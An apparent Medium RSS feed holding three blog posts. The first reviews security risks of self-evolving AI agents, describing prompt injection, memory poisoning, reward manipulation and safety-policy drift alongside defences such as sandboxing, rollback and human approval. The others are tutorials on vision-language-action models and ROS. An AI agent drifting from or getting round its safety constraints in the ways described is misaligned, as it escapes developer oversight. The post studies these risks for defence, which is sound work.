<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ImashaNilupul on Medium]]></title>
        <description><![CDATA[Stories by ImashaNilupul on Medium]]></description>
        <link>https://medium.com/@imashanilupul?source=rss-2c488e649af9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NArPl110NhEBmtKT3U8UzA.png</url>
            <title>Stories by ImashaNilupul on Medium</title>
            <link>https://medium.com/@imashanilupul?source=rss-2c488e649af9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 11:32:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@imashanilupul/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Self-Evolving AI Agents: A Review of Security Risks and Challenges]]></title>
            <link>https://medium.com/@imashanilupul/self-evolving-ai-agents-a-review-of-security-risks-and-challenges-8b7035b70f9e?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b7035b70f9e</guid>
            <category><![CDATA[llm-agent]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[ai-agent-security]]></category>
            <category><![CDATA[agents]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Thu, 27 Aug 2026 20:56:41 GMT</pubDate>
            <atom:updated>2026-08-27T20:56:41.892Z</atom:updated>
            <content:encoded><![CDATA[<p>You teach an AI agent to code. It learns from your code, improves its own capabilities, and evolves with every interaction. But what happens when the agent’s evolution takes it somewhere you can no longer control ?</p><p>This is where things start getting uncomfortable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Amzv7nJNkEI--xfzcSXvog.jpeg" /></figure><p>Traditional AI systems are mostly static. Developers train a model, test it, deploy it, and monitor its behavior. When something needs to change, a human typically decides what should be changed and implements that change.</p><h3>What Are Self-Evolving AI Agents?</h3><p>So, before we understand what security issues can occur with self-evolving agents, we first need to understand <strong>what self-evolving agents actually are and how they work</strong>.</p><p>An AI agent is more than a model that simply receives a question and generates an answer. An agent can reason about a task, make decisions, use external tools, interact with its environment, remember information, and take a sequence of actions to achieve a goal. A typical agent, however, is still largely dependent on its original design. Its capabilities, instructions, tools, and decision-making process are generally defined by developers.</p><p>A self-evolving agent takes this idea one step further.</p><p>Instead of simply <strong>using</strong> its capabilities, it can learn from its own experiences and use that information to <strong>change how it operates</strong>.</p><p>A simplified evolution cycle looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*oGvrqdOVlLazHArT.png" /><figcaption><a href="https://arxiv.org/html/2507.21046v1/x4.png">https://arxiv.org/html/2507.21046v1/x4.png</a></figcaption></figure><p>The agent first attempts to solve a task. It then evaluates what happened — what worked, what failed, and what could have been done better. Based on this feedback, an evolution mechanism can modify some part of the agent. The modified version is then used for future tasks, creating a continuous cycle of adaptation.</p><h3>Different Ways an Agent Can Evolve</h3><p>When we talk about <strong>self-evolving agents</strong>, there are a few important things we need to understand: <strong>what evolves, when it evolves, and how it evolves.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Csq8Fd08VmJEPhFy.png" /><figcaption><a href="https://miro.medium.com/v2/resize:fit:2000/1*adRC8NZQpGx8LPfoTVIRCQ.png">https://miro.medium.com/v2/resize:fit:2000/1*adRC8NZQpGx8LPfoTVIRCQ.png</a></figcaption></figure><h3><strong>What Evolves</strong></h3><p>A self-evolving agent can change more than just its model. Its evolution can happen across four main areas:</p><ul><li><strong>Model</strong> — The underlying AI model can be updated, fine-tuned, or replaced with a more capable one.</li><li><strong>Context</strong> — The agent can evolve what it remembers, retrieves, and uses from past experiences or its environment.</li><li><strong>Architecture</strong> — The way different components work together can change, such as modifying its reasoning, planning, or workflow.</li><li><strong>Tools</strong> — The agent can learn to use new tools, APIs, databases, or other external capabilities.</li></ul><p>These four components can evolve individually or together, allowing the agent to continuously improve its capabilities and adapt to new situations.</p><h3>When it Evolve</h3><p>Self-evolution can happen at different points in an agent’s lifecycle. Two useful ways to think about this are <strong>intra-test-time evolution</strong> and <strong>inter-test-time evolution</strong>.</p><p><strong>Intra-test-time evolution</strong> happens <strong>during the same task or interaction</strong>. The agent can adapt its strategy while it is solving a problem, using feedback from its current experience to improve its next action. For example, an agent might try one approach, evaluate the result, and immediately adjust its reasoning or workflow before completing the task.</p><p><strong>Inter-test-time evolution</strong> happens <strong>between separate tasks or evaluation periods</strong>. The agent learns from previous tasks and uses those experiences to modify itself before facing future tasks. For example, after completing many coding tasks, an agent might update its memory, strategy, or workflow and use the improved version on the next set of tasks.</p><p>In simple terms:</p><p><strong>Intra-test-time:</strong> evolve <em>while solving the current task.</em></p><p><strong>Inter-test-time:</strong> evolve <em>between tasks based on previous experience.</em></p><h3>How it evolves</h3><p>Once we know what can evolve and when evolution can happen, the next question is <strong>how does the agent actually improve itself?</strong> Different self-evolving agents use different sources of feedback to guide this process. Three common approaches are <strong>reward-based methods, imitation and demonstration, and population-based methods</strong>.</p><p><strong>Reward-based methods</strong> evolve an agent by using a reward or feedback signal to measure how well it performs. The agent tries different behaviors or strategies and favors those that produce better results. Over time, these feedback signals guide the agent toward improved behavior.</p><p><strong>Imitation and demonstration</strong> methods allow an agent to learn by observing successful examples. Instead of discovering everything through trial and error, the agent can learn from human demonstrations, expert agents, or previously successful behaviors and adapt its own strategy accordingly.</p><p><strong>Population-based methods</strong> maintain multiple versions or “individuals” of an agent and evolve them over time. Different versions can be generated, evaluated, and selected based on their performance. Successful versions can then be combined or modified to produce new candidates.</p><p>In simple terms:</p><p><strong>Reward-based → Learn from feedback</strong></p><p><strong>Imitation/Demonstration → Learn from examples</strong></p><p><strong>Population-based → Learn through competing and evolving versions</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__I6PeckvYpeQbOIj97Ujg.png" /><figcaption>Summary of all above with more information</figcaption></figure><p>So, now that we have discussed <strong>how, when, and what evolves</strong>, the next question is: <strong>Can these evolutionary mechanisms actually keep the agent safe?</strong></p><p>Imagine the initial agent a developer gives to customers is safe and protected by guardrails. But what happens after it <strong>periodically evolves</strong>? Those safety measures may no longer be enough. Without developer intervention, the agent could gradually change its behavior, bypass its original constraints, and potentially <strong>go beyond what the developer intended.</strong></p><h3>The Evolution Process as a New Attack Surface</h3><p>The ability to evolve gives AI agents greater flexibility and autonomy, but it also introduces a new security dimension. In a traditional AI system, an attacker mainly targets the model, its inputs, data, or connected tools. In a self-evolving agent, the attacker can potentially target <strong>the process that changes the agent itself</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Je5Ku3pxdFHXRgZ0CLMZPg.jpeg" /><figcaption>Security of evolution process</figcaption></figure><p>Several existing security threats become more concerning when combined with continuous evolution.</p><h3>Prompt Injection and Jailbreaking</h3><p>Prompt injection is already a major security concern for LLM-based agents. An attacker can provide instructions designed to override the agent’s intended behavior or manipulate its decision-making.</p><p>For self-evolving agents, the risk goes beyond a single interaction. If the agent learns from its interactions or stores them as experience, a successful attack could potentially influence future behavior and even become part of the agent’s evolution process.</p><h3>Memory and Context Poisoning</h3><p>Self-evolving agents often depend on memory, retrieved information, or previous experiences to improve their future behavior. This creates an opportunity for attackers to inject misleading or malicious information into the agent’s context.</p><p>If poisoned information is later treated as useful experience, the agent may not only make an incorrect decision but also <strong>learn from that incorrect information</strong>, allowing the problem to persist across future interactions.</p><h3>Reward and Feedback Manipulation</h3><p>Many evolutionary mechanisms rely on rewards, evaluations, or feedback to decide which behaviors should be retained. If an attacker can manipulate this feedback, they may influence what the agent considers to be a successful behavior.</p><p>For example, an unsafe strategy could receive a high reward while a safer strategy receives a lower one. The evolution mechanism could then select the unsafe behavior because it appears to perform better.</p><h3>Unsafe Tool Expansion</h3><p>Tools give agents the ability to interact with external systems, including databases, APIs, files, browsers, and execution environments. As an agent evolves, it may gain access to new tools or change how existing tools are used.</p><p>This increases the potential attack surface. A change that improves capability may also introduce unauthorized access, excessive permissions, or unintended actions.</p><h3>Safety-Policy Drift</h3><p>A self-evolving agent may gradually change its behavior over multiple evolution cycles. Even if the initial agent follows the developer’s safety policies, later modifications may weaken or bypass some of those restrictions.</p><p>This creates the possibility of <strong>safety drift</strong>, where the agent slowly moves away from its original safety boundaries without a single obvious failure.</p><h3>Behavioral and Capability Drift</h3><p>Evolution can also make an agent behave differently from the version that was originally tested. New strategies, tools, memories, or model changes can produce unexpected behaviors.</p><p>This creates a continuous verification problem: testing an agent once before deployment does not necessarily guarantee that future versions will remain equally safe.</p><h3>Evolution Mechanism Manipulation</h3><p>The evolution mechanism itself can become a target. If an attacker can influence the rules, data, evaluation process, or selection mechanism responsible for evolution, they may be able to indirectly control the agent’s future behavior.</p><p>In this case, the attacker is not necessarily attacking the agent directly. Instead, they are attacking <strong>how the agent learns and changes</strong>.</p><h3>Cascading Risks in Multi-Agent Systems</h3><p>The risk becomes even greater when multiple self-evolving agents interact. An unsafe behavior developed by one agent could potentially be shared with other agents through communication, shared memory, tools, or feedback.</p><p>This can create a chain such as:</p><p><strong>Agent A evolves → Agent B learns from A → Agent C learns from B → Unsafe behavior spreads</strong></p><p>Therefore, self-evolution introduces a security challenge that goes beyond protecting individual agent responses. The system must also consider the security of <strong>memory, feedback, tools, evaluation, and the evolution mechanism itself</strong>.</p><h3>Existing Security Solutions</h3><p>So, how are researchers currently trying to keep AI agents safe?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8A4fXAxCGR2QQuKLyZUl5Q.jpeg" /><figcaption>save AI agents</figcaption></figure><p>There is no single solution that can protect an agent from every possible threat. Instead, current research uses several layers of defense.</p><h3>1. Protecting Against Prompt Injection</h3><p>Agents often read information from websites, emails, documents, and APIs. But what if that information contains hidden instructions designed to manipulate the agent?</p><p>Researchers use techniques such as <strong>tool filtering, data separation, prompt repetition, and prompt-injection detectors</strong> to identify or limit malicious instructions before the agent can act on them.</p><p>The basic idea is:</p><p><strong>External Data → Security Check → Agent → Action</strong></p><p>rather than allowing untrusted information to directly control the agent.</p><h3>2. Securing Tools, Code, and Memory</h3><p>Agents can use tools and sometimes generate or execute their own code. This creates another major attack surface.</p><p><strong>Sandboxing</strong> is commonly used to isolate agent-generated code from sensitive systems. Restrictions can also be placed on network access, files, CPU, memory, and execution time.</p><p>Memory needs protection too. If an attacker manages to insert malicious information into an agent’s long-term memory, that information could influence future decisions. Therefore, researchers are exploring <strong>memory validation, isolation, and poisoning detection</strong>.</p><h3>3. Controlling Self-Modification</h3><p>This is especially important for self-evolving agents.</p><p>Before accepting a new version, the system can evaluate whether the modification has introduced unsafe behavior:</p><p><strong>New Version → Safety Test → Accept / Reject</strong></p><p>Safety-critical rules can also be made <strong>immutable</strong>, meaning the agent can improve its strategies and capabilities but cannot modify its fundamental safety constraints.</p><p>Another useful mechanism is <strong>rollback</strong>. If an evolved version starts behaving unexpectedly, the system can return to a previously verified safe version.</p><h3>5. Human Oversight and Access Control</h3><p>For high-risk actions, researchers also use <strong>human-in-the-loop approval</strong> and <strong>least-privilege access control</strong>.</p><p>An agent might be allowed to search the web automatically, while actions such as deleting data, changing permissions, or making financial transactions require additional approval.</p><p>This creates different levels of autonomy depending on the risk of the action.</p><h3>But There Is Still a Problem…</h3><p>These solutions are useful, but most are designed to protect <strong>specific parts of an agent</strong> — its prompts, memory, tools, actions, or execution environment.</p><p>A self-evolving agent is different.</p><p>Its <strong>model can change. Its context can change. Its architecture can change. Its tools can change.</strong></p><p>So even if the agent is safe today, what guarantees that it will remain safe after its 10th, 50th, or 100th evolution cycle?</p><h3>Conclusion</h3><p>Self-evolving AI agents have the potential to become more capable, adaptive, and autonomous by continuously learning from their experiences. But this ability also creates a new security challenge: <strong>the agent that was safe when deployed may not remain safe after multiple evolution cycles.</strong></p><p>Changes to the <strong>model, context, architecture, and tools</strong> can introduce new vulnerabilities, while existing threats such as prompt injection, memory poisoning, unsafe tool use, and behavioral drift can become more difficult to control.</p><p>Current defenses such as guardrails, sandboxing, access control, monitoring, and human oversight provide important protection, but they often focus on the agent’s current state rather than its continuous evolution.</p><p>Therefore, the key challenge is no longer simply <strong>“How do we secure an AI agent?”</strong> but:</p><blockquote><strong><em>“How do we keep an AI agent secure while it is changing itself?”</em></strong></blockquote><p>Building self-evolving agents that can <strong>improve their capabilities without losing their safety</strong> will be an important challenge for future AI research.</p><h3>References</h3><ol><li>A Survey of Self-Evolving Agents: What, When, How, and Where to Evolve on the Path to Artificial Super Intelligence — 2026</li></ol><p><a href="https://mlanthology.org/tmlr/2026/gao2026tmlr-survey/?utm_source=chatgpt.com">A Survey of Self-Evolving Agents: What, When, How, and Where to Evolve on the Path to Artificial Super Intelligence</a></p><p>2. On Safety Risks in Experience-Driven Self-Evolving Agents — 2026</p><p><a href="https://arxiv.org/abs/2604.16968?utm_source=chatgpt.com">On Safety Risks in Experience-Driven Self-Evolving Agents</a></p><p>3. A-MemGuard: A Proactive Defense Framework for LLM-Based Agent Memory — 2025</p><p><a href="https://arxiv.org/abs/2510.02373?utm_source=chatgpt.com">A-MemGuard: A Proactive Defense Framework for LLM-Based Agent Memory</a></p><p>Thanks for reading … 😇</p><p><em>If you have any questions or need clarification, feel free to reach out.</em></p><p>👉<em>Email — </em><a href="http://imashanilupul@gmail.com/"><em>imashanilupul@gmail.com</em></a></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b7035b70f9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Vision-Language-Action (VLA) Models]]></title>
            <link>https://medium.com/@imashanilupul/understanding-vision-language-action-vla-models-240ee628e6d4?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/240ee628e6d4</guid>
            <category><![CDATA[robotics]]></category>
            <category><![CDATA[rt-2]]></category>
            <category><![CDATA[robotics-automation]]></category>
            <category><![CDATA[vision-language-action]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 18:25:31 GMT</pubDate>
            <atom:updated>2026-04-19T18:25:31.347Z</atom:updated>
            <content:encoded><![CDATA[<p>Imagine telling a robot, <em>“Hey, iron my clothes and make me a cup of tea.”</em><br> Sounds cool, right? But here’s the real question — does the robot actually <strong>understand</strong> what you’re saying, or is it just following instructions like a machine?</p><p>Let’s dive in and find out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OqiWwCzba7cnOHlN8iyYxw.png" /><figcaption>Tell robot do something but won’t understand.</figcaption></figure><p>So, in traditional robotics, we use hardcoded instructions to tell robots what to do.<br> Because of that, the robot doesn’t really <strong>understand</strong> the task — it just follows predefined rules.</p><p>When the robot’s environment doesn’t change, or everything follows predefined rules, this approach can work well.<br> But in real-world situations where things are unpredictable, it quickly falls apart.</p><p>Robots can see. AI can understand language.<br> But combining both to actually <strong>take action</strong>? That’s the real challenge.</p><p>And that’s exactly where VLA models come in.</p><h3>What is Vision Language Action Models (VLA) ?</h3><p>A VLA model is an AI system that can:</p><ul><li><strong>Understand visual input (V)</strong></li><li><strong>Interpret human instructions (L)</strong></li><li><strong>Execute actions in the real world (A)</strong></li></ul><p>In simple terms, it connects what the robot <em>sees</em>, what we <em>say</em>, and what it <em>does</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*ctEPYGxrNBK-AqZy.png" /><figcaption>Reference — Vision-Language-Action Models: Concepts, Progress, Applications and Challenges</figcaption></figure><p>As shown above, VLA combines multiple capabilities into one system.<br> It uses <strong>vision models</strong> to understand images and videos, and <strong>language models</strong> to understand human instructions.<br> Finally, it uses <strong>action models</strong> to control behavior and perform tasks.</p><p>Alright, let’s take a deeper dive with a real-world example.<br> Let’s look at <strong>Google DeepMind’s RT-2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HcZxvVnwSPjXKVF4" /><figcaption>Google DeepMind’s RT-2 Robot</figcaption></figure><p><strong>RT-2 (Robotics Transformer 2)</strong> is an advanced AI model developed by <strong>Google DeepMind</strong> that allows robots to <strong>understand the world and perform actions using both vision and language</strong>.</p><p>It’s one of the first real examples of a <strong>Vision-Language-Action (VLA)</strong> model — meaning it connects:</p><ul><li>Vision (camera input)</li><li>Language (human instructions)</li><li>Action (robot movements)</li></ul><p>These actions are encoded like language tokens, so the model treats <strong>actions like “words”</strong></p><p>Let’s say we ask RT-2: <em>“Pick up something that can be used as a hammer.”</em></p><p>RT-2 can:</p><ul><li>Look at the objects in its environment</li><li>Understand the concept of a “hammer”</li><li>Identify a suitable substitute, like a rock</li><li>Execute the action and pick it up</li></ul><h3>Under the Hood</h3><p>So, as explained before, a VLA system has three main abilities. But under the hood, it’s usually built from <strong>four key components</strong>.</p><h3><strong>1. Vision Encoder (ViT)</strong></h3><p>This is works as eyes of the robots. It can take images/ videos, Understands what is in the image.</p><p>It takes camera input and convert it to embeddings (numbers). As a example robot sees a cup then using vision encoder it converts into embeddings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*BIXhH3-XOi384CGl7Jl7vw.png" /><figcaption>Cup image converted into embeddings</figcaption></figure><p>But, This is NOT understanding yet — just feature extraction.</p><h3>2. Language Model</h3><p>This is language model like GPT style transformer. It can process instructions and understand semantics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*L-vjXK4S2pdbVcJFyOTRxw.png" /></figure><p>As above if we say “pickup something like hammer”. It can extract info from it as normal language model.</p><h3>3. Multimodal Fusion</h3><p>This is where the actual reasoning happens.<br> It is usually done using a <strong>multimodal transformer with cross-attention</strong>.</p><p>A <strong>multimodal transformer</strong> is basically like a normal transformer (the one used in LLMs), but instead of working with only text, it can handle different types of data at the same time:</p><ul><li>Vision — image embeddings</li><li>Language — text tokens</li><li>Sometimes actions — robot states or commands</li></ul><p>Using <strong>cross-attention</strong>, the model connects these together.<br> It learns how the text, images, and actions relate to each other, and uses that to make decisions.</p><p>Let’s take a simple example.</p><p>Imagine we have an image showing a table with a cup on it. Now the text instruction says: <em>“pick up the cup.”</em></p><p>A multimodal transformer connects what it sees with what it reads. It aligns visual features with language meaning. So it understands that the word “cup” in the text refers to the actual cup object in the image.</p><p>This is where real understanding starts to happen.</p><p>Now comes the important part — the “magic.”</p><p>You already know that transformers use <strong>attention</strong>, which helps them focus on the most important parts of an input. In multimodal models, this is extended using <strong>cross-attention</strong>.</p><p>Cross-attention allows the model to look at one type of data using another type. In simple words, it helps one modality (like text) focus on and understand another modality (like vision) better.</p><p>Think of it like this:</p><p>Text asks: <em>“Where is the cup?”</em><br> Vision responds: <em>“Here 👇 (this region in the image)”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*VPyJJZoyzgykqm_QQzC_2w.png" /></figure><h3>4. Action Head (Policy Network)</h3><p>This is where thoughts are turned into motion.</p><p>This layer takes <strong>fused embeddings from vision and language</strong> as input. Then it converts them into outputs that the robot can actually execute.</p><p>These outputs are usually <strong>action parameters</strong>, such as:</p><ul><li>joint angles</li><li>torques</li><li>velocities</li></ul><p>In simple terms, it translates understanding into physical movement — telling the robot how to move each part to complete the task.</p><p><strong>Below are examples of existing VLA (Vision-Language-Action) architectures.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ermfom1-1kEq1GzF.jpg" /><figcaption>OpenVLA architecture</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/0*08xOxtmJJRs8E-I8" /><figcaption>GeoAware VLA</figcaption></figure><p>Vision-Language-Action (VLA) models represent a major step toward truly intelligent robots that can operate in real-world, unpredictable environments. Instead of relying on rigid, pre-programmed rules, VLA systems allow robots to understand what they see, interpret human language, and directly translate that understanding into physical actions.</p><h3>References</h3><ul><li><a href="https://arxiv.org/html/2505.04769v1">Vision-Language-Action Models: Concepts, Progress, Applications and Challenges</a></li><li><a href="https://deepmind.google/blog/rt-2-new-model-translates-vision-and-language-into-action/">RT-2: New model translates vision and language into action</a></li><li><a href="https://mobile-aloha.github.io/">Mobile ALOHA: Learning Bimanual Mobile Manipulation with Low-Cost Whole-Body Teleoperation</a></li></ul><p>Thanks for reading … 😇</p><p><em>If you have any questions or need clarification, feel free to reach out.</em></p><p>👉<em>Email — </em><a href="http://imashanilupul@gmail.com/"><em>imashanilupul@gmail.com</em></a></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=240ee628e6d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Core Concepts of ROS Every Beginner Must Understand]]></title>
            <link>https://medium.com/@imashanilupul/core-concepts-of-ros-every-beginner-must-understand-c59a87623cf8?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/c59a87623cf8</guid>
            <category><![CDATA[robotics-automation]]></category>
            <category><![CDATA[ros2]]></category>
            <category><![CDATA[robot-framework]]></category>
            <category><![CDATA[roboticprocessautomation]]></category>
            <category><![CDATA[robotics]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Mon, 26 Jan 2026 12:12:32 GMT</pubDate>
            <atom:updated>2026-01-27T15:21:54.932Z</atom:updated>
            <content:encoded><![CDATA[<p>Building robots is very difficult. Actuators, sensors, and batteries must work seamlessly together to perform tasks in robotics. To simplify this process, we use ROS (Robot Operating System).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZZ9A-_3ect9zoyVBmppAQ.png" /><figcaption>Image Generated By CanvaAI and Edited by Canva</figcaption></figure><p>Although it is called an operating system, it is not like traditional operating systems such as Windows or Linux. Instead, ROS is an open-source robotics middleware that runs on top of an operating system and provides tools, libraries, and standards to build complex robot software efficiently.</p><p>ROS acts as a common language and framework for robot development. It allows developers to break a robot’s functionality into small, independent programs that can communicate with each other seamlessly. This modular approach makes robot software easier to develop, debug, scale, and reuse.</p><h3>ROS Distributions</h3><p>A <strong>ROS distribution</strong> is like a <strong>version or release of ROS</strong>.</p><p>Just like Ubuntu has versions such as <em>20.04</em> or <em>22.04</em>, ROS also has versions with specific names and features. Each ROS distribution is <strong>stable</strong>, tested, and supported for a fixed period of time.</p><p>Every ROS distribution:</p><ul><li>Comes with a specific set of tools and libraries</li><li>Supports certain Ubuntu versions</li><li>Receives updates and bug fixes during its support lifetime</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*2_VU0Bai1W5cqSG_8HHVCQ.png" /><figcaption>Examples of ROS Distributions</figcaption></figure><p>ROS distributions are named in <strong>alphabetical order</strong> and often after <strong>turtles</strong> (for example: <em>Kilted</em>, <em>Jazzy</em>, <em>Humble</em>). These distributions can also be used through Docker containers. <a href="https://hub.docker.com/_/ros/">Check this</a> for it.</p><p><strong>ROS 1 vs ROS 2:</strong></p><ul><li>ROS 1 distributions (e.g., <em>Noetic</em>) are older, widely used in learning and legacy systems.</li><li>ROS 2 distributions (e.g., <em>Foxy</em>, <em>Humble</em>) are newer, designed for <strong>real-time, distributed, and industrial applications</strong>.</li></ul><p>Think of ROS distributions like <strong>Android versions on phones</strong> — each improves features, performance, and compatibility.</p><h3>DDS (Data Distribution Service)</h3><p><strong>ROS 2</strong>, DDS is the technology used underneath to allow nodes to talk to each other. It’s is a <strong>communication standard</strong> that helps different parts of a system exchange data <strong>reliably and in real time</strong>.</p><p>DDS is like a group chat where everyone can join, leave, and share messages without a main admin.</p><p>Instead of one central server controlling communication, DDS uses a <strong>decentralized system</strong>.</p><ul><li>Nodes automatically <strong>discover each other</strong></li><li>Data is shared directly between publishers and subscribers</li><li>No single point of failure</li></ul><h3>Core Concepts of ROS</h3><p>ROS is built around a few key concepts that allow robot software to be <strong>modular and distributed</strong>. Let’s understand these concepts using the <strong>line following Robot</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*kmOmbQAMUUKRCyKFgmDmUw.png" /><figcaption>Line Following Robot</figcaption></figure><h3>🔁 Publisher–Subscriber (Pub/Sub)</h3><p>It’s the way <strong>nodes communicate continuously</strong> in ROS. <strong>Publisher</strong> → sends data</p><ul><li><strong>Subscriber</strong> → receives data</li><li><strong>Topic</strong> → channel they talk on</li></ul><p>They <strong>don’t talk directly</strong> to each other.</p><p>This works similarly to YouTube, where creators publish videos or Shorts, and subscribers can view them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*2c4HXJXDGln6SBqvtc0MUA.png" /><figcaption>Publisher &amp; Subscriber Model</figcaption></figure><h3>1. Nodes</h3><p>A <strong>node</strong> is like a <strong>worker</strong> in your robot, with each node handling a specific task. For example, a line-following robot usually has IR sensors to detect black or white lines and motor controllers to drive the wheels. Each of these can be treated as a<strong> separate nodes</strong>.</p><p>Usually, these separate nodes are implemented as individual Python or C++ scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*VrezjOyo0dLdLI8XzymOLA.png" /><figcaption>Nodes and their Jobs.</figcaption></figure><h3>2. <strong>Topics</strong></h3><p>A <strong>topic</strong> is like a <strong>mailbox</strong> where nodes send messages. Nodes <strong>talk to each other</strong> via <strong>topics.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*tx1PhWfl9J_rLn8PIyFFcQ.png" /><figcaption>Topics</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*y9xyKcHiIcAChENq5Eczww.png" /><figcaption>Topic Data</figcaption></figure><p>So the controller node gets line and wall info, then tells motors what to do.</p><p>Publisher and Subscriber will explain later don’t worry about it if you won’t understand.</p><h3>3. <strong>Messages</strong></h3><p>The <strong>data</strong> sent through topics is called a <strong>message</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*UDJ1hOJDQHJVVKv30x72tQ.png" /><figcaption>Message example</figcaption></figure><ul><li>Line sensor → LinePosition message: LEFT, CENTER, RIGHT</li><li>Motor commands → Twist message:</li></ul><pre>linear.x = 0.2 # forward speed<br>angular.z = 0.5 # turn rate</pre><h3>4. <strong>Services</strong></h3><p>Use services when want immediate result. A service has <strong>two parts</strong>:</p><ol><li><strong>Request</strong> (what you ask)</li><li><strong>Response</strong> (what you get back)</li></ol><p>If we take line following robot think the robot too close to line end. In that case it needs service called<strong> /emergency_stop</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*EigWK0KARLNC0euYeEvP6g.png" /><figcaption>Services</figcaption></figure><p>The robot <strong>stops immediately</strong> no continuous updates needed.</p><h3>5. <strong>Actions</strong></h3><p>Actions like smart services. An <strong>action</strong> is used when:</p><ul><li>Task takes <strong>time</strong></li><li>You want <strong>progress updates</strong></li><li>You may want to <strong>cancel</strong></li></ul><p>Actions has three parts:</p><ul><li><strong>Goal</strong> — what to do</li><li><strong>Feedback</strong> — progress updates</li><li><strong>Result</strong> — final outcome</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*4OlIzajMz8QEVBDvAjhkCQ.png" /><figcaption>Action</figcaption></figure><h3>Bag Files</h3><p>A <strong>bag file</strong> is a <strong>recording of ROS topics</strong>. This can be use when you want a collect data about robot.</p><p>Bag file can subscribe multiple topics in same time and Record the data. After done recording it can play it back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q6pu84AnfaKLCgp8.png" /><figcaption><a href="https://www.reduct.store/assets/images/method1-1808c78cb8b99ad3832b86629a50eace.png">https://www.reduct.store/assets/images/method1-1808c78cb8b99ad3832b86629a50eace.png</a></figcaption></figure><h3>ROS Packages</h3><p>A <strong>package</strong> is a <strong>folder</strong> that contains:</p><ul><li>Nodes</li><li>Launch files</li><li>Configs</li><li>Code</li></ul><p><strong>Package Structure</strong></p><pre>line_following_pkg/<br> ├── line_sensor_node.py<br> ├── controller_node.py<br> ├── launch/<br> │    └── robot.launch.py<br> ├── config/<br> │    └── params.yaml<br> └── package.xml</pre><p>Everything related to <strong>one purpose</strong> stays together.</p><p>ROS simplifies the complexity of robot development by providing a structured, modular way for different parts of a robot to communicate and work together. By understanding core concepts such as nodes, topics, messages, services, actions, bag files, and packages, beginners can clearly see how real robot systems are designed and organized. Instead of writing one large, complicated program, ROS encourages breaking functionality into small, reusable components that are easier to develop, test, and scale. With these fundamentals, learners can confidently move forward to building, simulating, and deploying more advanced robotic systems using ROS.</p><h3>References</h3><p><a href="https://en.wikipedia.org/wiki/Robot_Operating_System">Robot Operating System - Wikipedia</a></p><iframe 